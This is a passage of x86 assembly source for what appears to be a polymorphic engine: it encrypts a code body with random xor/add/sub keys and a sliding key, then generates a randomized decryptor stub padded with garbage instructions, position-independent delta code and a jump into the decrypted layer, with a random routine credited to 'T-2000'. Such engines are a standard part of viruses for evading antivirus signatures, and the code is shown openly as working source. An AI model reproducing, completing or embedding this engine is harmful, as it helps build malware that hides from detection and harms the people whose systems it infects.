|
|
; init random seed
|
|
rdtsc
|
|
mov dword ptr [ebp].poly_random_seed,eax
|
|
|
|
popad
|
|
retn
|
|
|
|
;
|
|
; PolyEngine
|
|
;
|
|
; *Create linear decryptor with slide key
|
|
;
|
|
|
|
; _in eax = ptr to poly struct
|
|
; _out eax = size of decryptor
|
|
PolyEngine: pushad
|
|
|
|
mov ebp,eax
|
|
assume ebp:ptr poly_vars
|
|
|
|
call PolyInit
|
|
|
|
; choose operations which will be used (xor,add,sub)
|
|
mov eax,3
|
|
call random
|
|
mov dword ptr [ebp].poly_algo1,eax ; crypt algo
|
|
|
|
mov eax,2
|
|
call random
|
|
inc eax ; add/sub only
|
|
mov dword ptr [ebp].poly_algo2,eax ; slide algo
|
|
|
|
; choose registers
|
|
call get_free_reg_32
|
|
mov dword ptr [ebp].poly_ptr_reg,eax
|
|
|
|
call get_free_reg_32
|
|
mov dword ptr [ebp].poly_key_reg,eax
|
|
|
|
call get_free_reg_32
|
|
mov dword ptr [ebp].poly_loop_reg,eax
|
|
|
|
call generate_key_32
|
|
mov dword ptr [ebp].poly_slide_key,eax
|
|
|
|
; apply encryption to data
|
|
call generate_key_32
|
|
call crypt_data
|
|
mov dword ptr [ebp].poly_key,eax
|
|
|
|
; start generating decryptor code
|
|
mov edi,dword ptr [ebp].poly_decryptor_base
|
|
|
|
; intialize poly garbler
|
|
call PolyGarbleInit
|
|
|
|
; save poly entry
|
|
mov eax,edi
|
|
sub eax,dword ptr [ebp].poly_decryptor_base
|
|
mov dword ptr [ebp].poly_entry_offset,eax
|
|
|
|
; CREATE STACK FRAME FOR DECRYPTOR
|
|
mov byte ptr [edi],55h ; push ebp
|
|
mov word ptr [edi + 1],0ec8bh ; mov ebp,esp
|
|
add edi,3
|
|
|
|
; GARBLE
|
|
call PolyGarble
|
|
|
|
;
|
|
; ASSEMBLE MOVE DATA LOOP
|
|
;
|
|
; this loop is used when data are decrypted
|
|
; to different location in memory than their initial position is
|
|
; to activate this behaviour , set poly_vars.poly_ptr_decrypt_buf_va
|
|
call Asm_Move_Data_Loop
|
|
|
|
;
|
|
; INIT VALUES FOR DECRYPTOR
|
|
;
|
|
|
|
; init decrypt key in reg
|
|
mov ebx,dword ptr [ebp].poly_key_reg
|
|
mov ecx,dword ptr [ebp].poly_key
|
|
call Asm_Mov_Reg_Imm_32
|
|
|
|
; GARBLE
|
|
call PolyGarble
|
|
|
|
; init decrypt buffer ptr
|
|
mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va
|
|
test ecx,ecx
|
|
jnz @f
|
|
mov ecx,dword ptr [ebp].poly_ptr_code_base_va
|
|
@@: mov ebx,dword ptr [ebp].poly_ptr_reg
|
|
add ecx,dword ptr [ebp].poly_code_size
|
|
dec ecx
|
|
call Asm_Init_Ptr
|
|
|
|
|
|
; GARBLE
|
|
call PolyGarble
|
|
|
|
; init loop counter
|
|
mov ebx,dword ptr [ebp].poly_loop_reg
|
|
mov ecx,dword ptr [ebp].poly_code_size
|
|
call Asm_Mov_Reg_Imm_32
|
|
|
|
; GARBLE
|
|
call PolyGarble
|
|
|
|
call Set_In_Loop ; set in-loop garbler state
|
|
|
|
; GENERATE POLY DECRYPTION LOOP
|
|
mov esi,edi ; loop_base
|
|
|
|
call PolyGarble
|
|
|
|
; OPERATION (xor/add/sub [ptr_reg],key_reg )
|
|
mov eax,290131h
|
|
mov ecx,dword ptr [ebp].poly_algo1
|
|
imul ecx,8
|
|
ror eax,cl
|
|
mov byte ptr [edi],al
|
|
|
|
; (key_reg << 3) + ptr_reg;
|
|
mov eax,dword ptr [ebp].poly_key_reg
|
|
rol eax,3
|
|
add eax,dword ptr [ebp].poly_ptr_reg
|
|
mov byte ptr [edi + 1],al
|
|
add edi,2
|
|
|
|
; GARBLE
|
|
call PolyGarble
|
|
|
|
; KEY SLIDE (xor/add/sub key_reg,slide_key)
|
|
mov byte ptr [edi],081h
|
|
|
|
mov eax,050006h ; ( xor/add/sub )
|
|
mov ecx,dword ptr [ebp].poly_algo2
|
|
imul ecx,8
|
|
ror eax,cl
|
|
rol eax,3
|
|
add eax,dword ptr [ebp].poly_key_reg
|
|
add eax,0c0h
|
|
mov byte ptr [edi + 1],al
|
|
|
|
mov eax,dword ptr [ebp].poly_slide_key
|
|
mov dword ptr [edi + 2],eax
|
|
add edi,6
|
|
|
|
; GARBLE
|
|
call PolyGarble
|
|
|
|
; dec ptr
|
|
mov eax,48h
|
|
add eax,dword ptr [ebp].poly_ptr_reg
|
|
stosb
|
|
|
|
; GARBLE
|
|
call PolyGarble
|
|
|
|
; ASSEMBLE LOOP
|
|
|
|
; dec counter reg
|
|
mov eax,48h
|
|
add eax,dword ptr [ebp].poly_loop_reg
|
|
stosb
|
|
|
|
;
|
|
; Decrypt Loop
|
|
;
|
|
; test counter reg
|
|
mov al,085h
|
|
stosb
|
|
|
|
mov eax,dword ptr [ebp].poly_loop_reg
|
|
rol eax,3
|
|
add eax,dword ptr [ebp].poly_loop_reg
|
|
add eax,0c0h
|
|
stosb
|
|
|
|
; jcc loop
|
|
mov eax,esi ; esi = loop start
|
|
sub eax,edi
|
|
push eax
|
|
not eax
|
|
cmp eax,255 / 2
|
|
pop eax
|
|
jbe Poly_Loop_Short
|
|
; near jcc
|
|
sub eax,6
|
|
mov word ptr [edi],0850fh
|
|
mov dword ptr [edi + 2],eax
|
|
add edi,6
|
|
|
|
jmp Poly_Loop_Cont
|
|
; short jcc
|
|
Poly_Loop_Short: sub eax,2
|
|
mov byte ptr [edi],75h ; jnz
|
|
mov byte ptr [edi + 1],al
|
|
add edi,2
|
|
|
|
Poly_Loop_Cont: call Set_In_Loop ; unset in-loop garbler state
|
|
|
|
; free regs used in decrypt loop
|
|
mov eax,dword ptr [ebp].poly_key_reg
|
|
call unset_reg_32
|
|
|
|
mov eax,dword ptr [ebp].poly_ptr_reg
|
|
call unset_reg_32
|
|
|
|
mov eax,dword ptr [ebp].poly_loop_reg
|
|
call unset_reg_32
|
|
|
|
; GARBLE
|
|
call PolyGarble
|
|
|
|
ifndef POLY_DEBUG
|
|
; GENERATE JUMP TO NEXT LAYER
|
|
call Asm_Jmp_Next_Layer
|
|
|
|
else
|
|
mov ax,0c35dh
|
|
stosw
|
|
endif ; POLY_DEBUG
|
|
|
|
|
|
mov eax,edi
|
|
sub eax,dword ptr [ebp].poly_decryptor_base
|
|
mov dword ptr [esp + 1ch],eax
|
|
|
|
popad
|
|
retn
|
|
;
|
|
; Assemble Mov Reg,Imm32
|
|
;
|
|
|
|
; in:
|
|
; ebx = reg
|
|
; ecx = value
|
|
; edi = buffer
|
|
Asm_Mov_Reg_Imm_32: mov eax,3
|
|
call random
|
|
|
|
cmp eax,0
|
|
je mov_lea
|
|
|
|
cmp eax,1
|
|
je mov_push_pop
|
|
|
|
; mov reg imm32
|
|
mov_reg_imm32: mov byte ptr [edi],0b8h
|
|
add byte ptr [edi],bl
|
|
mov dword ptr [edi + 1],ecx
|
|
add edi,5
|
|
retn
|
|
|
|
mov_push_pop: mov al,68h
|
|
stosb
|
|
mov eax,ecx
|
|
stosd
|
|
mov eax,ebx
|
|
add eax,58h
|
|
stosb
|
|
retn
|
|
|
|
mov_lea: mov eax,ebx
|
|
rol eax,11
|
|
add eax,058dh
|
|
stosw
|
|
|
|
mov eax,ecx
|
|
stosd
|
|
retn
|
|
|
|
;
|
|
; Create Poly Delta Routine
|
|
;
|
|
|
|
; eax = register
|
|
; edi = buffer
|
|
|
|
Asm_Poly_Delta: push ebx
|
|
push ecx
|
|
|
|
mov ecx,eax
|
|
mov byte ptr [edi],0e8h
|
|
inc edi
|
|
mov ebx,edi
|
|
stosd
|
|
|
|
call Set_In_Pred ; avoid ptr init in delta call
|
|
|
|
call PolyGarble
|
|
|
|
call Set_In_Pred
|
|
|
|
mov eax,edi
|
|
sub eax,ebx
|
|
sub eax,4
|
|
mov dword ptr [ebx],eax
|
|
add ebx,3 ; not 4
|
|
|
|
mov eax,ecx
|
|
add al,58h
|
|
stosb
|
|
|
|
mov eax,ecx
|
|
add al,0c0h
|
|
rol eax,8
|
|
add eax,081h
|
|
stosw
|
|
|
|
mov eax,ebx ; ebx = call delta + 5
|
|
sub eax,dword ptr [ebp].poly_decryptor_base
|
|
add eax,dword ptr [ebp].poly_decryptor_base_va
|
|
not eax
|
|
stosd
|
|
|
|
pop ecx
|
|
pop ebx
|
|
retn
|
|
|
|
;
|
|
; Initialize Pointer Register
|
|
;
|
|
|
|
;ebx = reg
|
|
;ecx = value
|
|
;edi = buffer
|
|
|
|
Asm_Init_Ptr: mov eax,dword ptr [ebp].poly_options
|
|
and eax,POLY_OPT_POS_INDEPENDENT
|
|
test eax,eax
|
|
jz Asm_Init_No_Delta
|
|
|
|
mov eax,ebx
|
|
; push edx
|
|
; mov edx,dword ptr [ebp].poly_decryptor_base_va
|
|
call Asm_Poly_Delta
|
|
; pop edx
|
|
|
|
; add reg val
|
|
mov al,081h
|
|
mov ah,bl
|
|
add ah,0c0h
|
|
stosw
|
|
|
|
mov eax,ecx
|
|
stosd
|
|
|
|
retn
|
|
|
|
Asm_Init_No_Delta: call Asm_Mov_Reg_Imm_32
|
|
retn
|
|
|
|
;edi = buffer
|
|
Asm_Jmp_Next_Layer: push ebx
|
|
push ecx
|
|
push edx
|
|
|
|
; if poly_decryptor_base_va isnt set
|
|
; make the transfer instruction relative (call/jmp... rel32)
|
|
cmp dword ptr [ebp].poly_ptr_decrypt_buf_va,0
|
|
je Asm_Relative
|
|
|
|
call get_free_reg_32
|
|
mov ebx,eax
|
|
|
|
mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va
|
|
test ecx,ecx
|
|
jnz @f
|
|
mov ecx,dword ptr [ebp].poly_ptr_code_base_va
|
|
@@: add ecx,dword ptr [ebp].poly_code_entry_offset
|
|
|
|
mov eax,dword ptr [ebp].poly_options
|
|
and eax,POLY_OPT_POS_INDEPENDENT
|
|
test eax,eax
|
|
jnz Asm_Jmp_Layer_Delta
|
|
|
|
call Asm_Mov_Reg_Imm_32
|
|
|
|
jmp Asm_Jmp_C
|
|
|
|
Asm_Jmp_Layer_Delta: mov eax,ebx
|
|
; mov edx,dword ptr [ebp].poly_ptr_code_base_va
|
|
call Asm_Poly_Delta
|
|
|
|
mov al,81h
|
|
stosb
|
|
mov eax,0c0h
|
|
add eax,ebx
|
|
stosb
|
|
|
|
mov eax,ecx
|
|
stosd
|
|
|
|
Asm_Jmp_C: mov eax,50h
|
|
add eax,ebx
|
|
stosb
|
|
|
|
call PolyGarble
|
|
|
|
mov eax,0c3h
|
|
stosb
|
|
|
|
@@: pop edx
|
|
pop ecx
|
|
pop ebx
|
|
retn
|
|
|
|
; call rel32
|
|
Asm_Relative: mov al,0e8h
|
|
stosb
|
|
mov eax,dword ptr [ebp].poly_ptr_code_base_raw
|
|
add eax,dword ptr [ebp].poly_code_entry_offset
|
|
sub eax,edi
|
|
sub eax,4
|
|
stosd
|
|
|
|
call PolyGarble
|
|
call PolyGarble
|
|
mov eax,0c3h
|
|
stosb
|
|
jmp @b
|
|
|
|
;
|
|
; Assemble Move Data Loop
|
|
;
|
|
Asm_Move_Data_Loop: pushad
|
|
cmp dword ptr [ebp].poly_ptr_decrypt_buf_va,0
|
|
je Asm_Move_Data_End
|
|
|
|
; init store reg
|
|
call get_free_reg_32
|
|
cmp eax,-1
|
|
je Asm_Move_Data_End ; we got problem here
|
|
mov dword ptr [ebp].poly_store_reg,eax
|
|
|
|
call PolyGarble
|
|
|
|
; init src ptr
|
|
mov ebx,dword ptr [ebp].poly_ptr_reg
|
|
mov ecx,dword ptr [ebp].poly_ptr_code_base_va
|
|
call Asm_Init_Ptr
|
|
|
|
call PolyGarble
|
|
|
|
; init dest ptr
|
|
mov ebx,dword ptr [ebp].poly_key_reg
|
|
mov ecx,dword ptr [ebp].poly_ptr_decrypt_buf_va
|
|
call Asm_Init_Ptr
|
|
|
|
call PolyGarble
|
|
|
|
; init counter
|
|
mov ebx,dword ptr [ebp].poly_loop_reg
|
|
mov ecx,dword ptr [ebp].poly_code_size
|
|
shr ecx,2
|
|
inc ecx
|
|
call Asm_Mov_Reg_Imm_32
|
|
|
|
call Set_In_Loop
|
|
|
|
mov ebx,edi ; loop start
|
|
|
|
call PolyGarble
|
|
|
|
; mov store_reg/[scr]
|
|
mov eax,dword ptr [ebp].poly_store_reg
|
|
rol eax,3
|
|
add eax,dword ptr [ebp].poly_ptr_reg
|
|
rol eax,8
|
|
add eax,8bh
|
|
stosw
|
|
|
|
; mov [dest]/store_reg
|
|
mov eax,dword ptr [ebp].poly_store_reg
|
|
rol eax,3
|
|
add eax,dword ptr [ebp].poly_key_reg
|
|
rol eax,8
|
|
add eax,089h
|
|
stosw
|
|
|
|
call PolyGarble
|
|
|
|
; inc store_reg
|
|
mov eax,dword ptr [ebp].poly_ptr_reg
|
|
add eax,0c0h
|
|
rol eax,8
|
|
add eax,83h
|
|
stosw
|
|
|
|
mov al,4h
|
|
stosb
|
|
|
|
call PolyGarble
|
|
|
|
mov eax,dword ptr [ebp].poly_key_reg
|
|
add eax,0c0h
|
|
rol eax,8
|
|
add eax,83h
|
|
stosw
|
|
|
|
mov al,4h
|
|
stosb
|
|
|
|
call PolyGarble
|
|
|
|
; dec loop_counter
|
|
mov eax,dword ptr [ebp].poly_loop_reg
|
|
add eax,48h
|
|
stosb
|
|
|
|
call PolyGarble
|
|
|
|
; test loop_counter/loop_counter
|
|
mov eax,dword ptr [ebp].poly_loop_reg
|
|
rol eax,3
|
|
add eax,dword ptr [ebp].poly_loop_reg
|
|
add eax,0c0h
|
|
rol eax,8
|
|
add eax,085h
|
|
stosw
|
|
|
|
; jcc loop
|
|
mov eax,ebx
|
|
sub eax,edi
|
|
push eax
|
|
not eax
|
|
cmp eax,255 / 2
|
|
pop eax
|
|
jbe Move_Loop_Short
|
|
|
|
; near jcc
|
|
sub eax,6
|
|
mov word ptr [edi],0850fh
|
|
mov dword ptr [edi + 2],eax
|
|
add edi,6
|
|
|
|
jmp @f
|
|
|
|
; short jcc
|
|
Move_Loop_Short: sub eax,2
|
|
mov byte ptr [edi],75h ; jnz
|
|
mov byte ptr [edi + 1],al
|
|
add edi,2
|
|
@@:
|
|
call Set_In_Loop ; unset loop state flag
|
|
|
|
mov eax,dword ptr [ebp].poly_store_reg
|
|
call unset_reg_32 ; free store reg
|
|
|
|
mov dword ptr [esp],edi ; store edi
|
|
|
|
; mov eax,dword ptr [ebp].poly_ptr_decrypt_buf_va
|
|
; mov dword ptr [ebp].poly_ptr_code_base_va,eax
|
|
Asm_Move_Data_End: popad
|
|
retn
|
|
|
|
;
|
|
; Auxiliary routines
|
|
;
|
|
|
|
generate_key_32: push ecx
|
|
push ebx
|
|
mov ecx,4
|
|
|
|
generate_key_loop: mov eax,0ffh - 10
|
|
call random
|
|
add eax,10
|
|
mov bl,al
|
|
rol ebx,8
|
|
dec ecx
|
|
test ecx,ecx ; to avoid permutation errors
|
|
jnz generate_key_loop
|
|
mov eax,ebx
|
|
pop ebx
|
|
pop ecx
|
|
retn
|
|
|
|
;
|
|
; Test Flag
|
|
;
|
|
|
|
; eax > 0 => we are in loop already
|
|
Is_In_Loop: mov eax,POLY_FLAG_IN_LOOP
|
|
jmp Test_Flag
|
|
|
|
Set_In_Loop: push eax
|
|
mov eax,POLY_FLAG_IN_LOOP
|
|
jmp Set_Flag
|
|
|
|
Is_In_Subr: mov eax,POLY_FLAG_IN_SUBR
|
|
jmp Test_Flag
|
|
|
|
Set_In_Subr: push eax
|
|
mov eax,POLY_FLAG_IN_SUBR
|
|
jmp Set_Flag
|
|
|
|
Is_In_Pred: mov eax,POLY_FLAG_IN_PRED
|
|
jmp Test_Flag
|
|
|
|
Set_In_Pred: push eax
|
|
mov eax,POLY_FLAG_IN_PRED
|
|
jmp Set_Flag
|
|
|
|
Test_Flag: push ebx
|
|
mov ebx,dword ptr [ebp].poly_garbler_flags
|
|
and ebx,eax
|
|
mov eax,ebx
|
|
pop ebx
|
|
retn
|
|
|
|
Set_Flag: xor dword ptr [ebp].poly_garbler_flags,eax
|
|
pop eax
|
|
retn
|
|
|
|
;
|
|
; Registers handling functions
|
|
;
|
|
|
|
; eax = reg
|
|
convert_32: push ecx
|
|
mov ecx,eax
|
|
xor eax,eax
|
|
inc eax
|
|
rol eax,cl
|
|
pop ecx
|
|
retn
|
|
|
|
set_reg_32: push eax
|
|
call convert_32
|
|
or dword ptr [ebp].poly_reg_usage,eax
|
|
pop eax
|
|
retn
|
|
|
|
unset_reg_32: push eax
|
|
call convert_32
|
|
xor dword ptr [ebp].poly_reg_usage,eax
|
|
pop eax
|
|
retn
|
|
|
|
; if eax != 0 , reg is used already
|
|
is_used_32: push ebx
|
|
call convert_32
|
|
mov ebx,eax
|
|
mov eax,dword ptr [ebp].poly_reg_usage
|
|
and eax,ebx
|
|
pop ebx
|
|
retn
|
|
|
|
; if eax after ret is zero , no regs are avaiable
|
|
is_any_free_32: mov eax,dword ptr [ebp].poly_reg_usage
|
|
not eax
|
|
and eax,0ffh
|
|
retn
|
|
|
|
get_reg_32: mov eax,8
|
|
call random
|
|
retn
|
|
|
|
get_reg_32_no_stack:mov eax,6
|
|
call random
|
|
cmp eax,4
|
|
je get_reg_32_add
|
|
cmp eax,5
|
|
je get_reg_32_add
|
|
retn
|
|
|
|
get_reg_32_add: add eax,2
|
|
retn
|
|
|
|
;
|
|
; return unused reg32 or -1 if no regs are avaiable
|
|
get_free_reg_32: call is_any_free_32
|
|
test eax,eax
|
|
jz no_reg_avaiable_32
|
|
|
|
get_another_reg_32: call get_reg_32
|
|
push eax
|
|
call is_used_32
|
|
test eax,eax
|
|
pop eax
|
|
jnz get_another_reg_32
|
|
|
|
call set_reg_32 ; set reg as used
|
|
retn
|
|
|
|
no_reg_avaiable_32: dec eax
|
|
retn
|
|
|
|
get_free_reg_32_no_set:
|
|
call get_free_reg_32
|
|
cmp al,0ffh
|
|
je get_free_reg_32_no_set_exit
|
|
call unset_reg_32
|
|
get_free_reg_32_no_set_exit:
|
|
retn
|
|
|
|
|
|
;
|
|
; Crypt Data
|
|
;
|
|
|
|
; add/sub must occur in reversed order according to decryption order
|
|
; eax = key
|
|
crypt_data: pushad
|
|
mov edi,dword ptr [ebp].poly_ptr_code_base_raw
|
|
mov ecx,dword ptr [ebp].poly_code_size
|
|
mov ebx,dword ptr [ebp].poly_slide_key
|
|
|
|
crypt_loop: cmp dword ptr [ebp].poly_algo1,1
|
|
je crypt_algo1
|
|
|
|
cmp dword ptr [ebp].poly_algo1,2
|
|
je crypt_algo2
|
|
|
|
xor dword ptr [edi],eax
|
|
jmp crypt_algo_c
|
|
|
|
crypt_algo1: sub dword ptr [edi],eax
|
|
jmp crypt_algo_c
|
|
|
|
crypt_algo2: add dword ptr [edi],eax
|
|
|
|
; now apply slide key
|
|
crypt_algo_c: mov dword ptr [esp+1Ch],eax ; save eax
|
|
cmp dword ptr [ebp].poly_algo2,1
|
|
je crypt_slide1
|
|
|
|
cmp dword ptr [ebp].poly_algo2,2
|
|
je crypt_slide2
|
|
|
|
xor eax,ebx
|
|
jmp crypt_slide_c
|
|
|
|
crypt_slide1: sub eax,ebx
|
|
jmp crypt_slide_c
|
|
|
|
crypt_slide2: add eax,ebx
|
|
|
|
crypt_slide_c: inc edi
|
|
loop crypt_loop
|
|
|
|
; mov dword ptr [esp+1Ch],eax ; save eax
|
|
popad
|
|
retn
|
|
|
|
;
|
|
; random Routine
|
|
;
|
|
|
|
; Entry: EAX == Max_Val.
|
|
; Return: EAX == random number between 0..Max_Val-1.
|
|
; routine by T-2000
|
|
|
|
random: push ecx
|
|
push edx
|
|
push eax
|
|
|
|
rdtsc
|
|
mov ecx,dword ptr [ebp].poly_random_seed ; random seed
|
|
add eax,ecx
|
|
|
|
rol ecx, 1
|
|
add ecx, 666h
|
|
mov dword ptr [ebp].poly_random_seed,ecx ; random seed
|
|
|
|
push 32
|
|
pop ecx
|
|
|
|
CRC_Bit_1: shr eax, 1
|
|
jnc Loop_CRC_Bit_1
|
|
xor eax,0EDB88320h
|
|
|
|
Loop_CRC_Bit_1: loop CRC_Bit_1
|
|
pop ecx
|
|
xor edx,edx
|
|
div ecx
|
|
|
|
xchg edx,eax
|
|
or eax,eax
|
|
|
|
pop edx
|
|
pop ecx
|
|
retn
|
|
|
|
|
|
assume ebp:nothing
|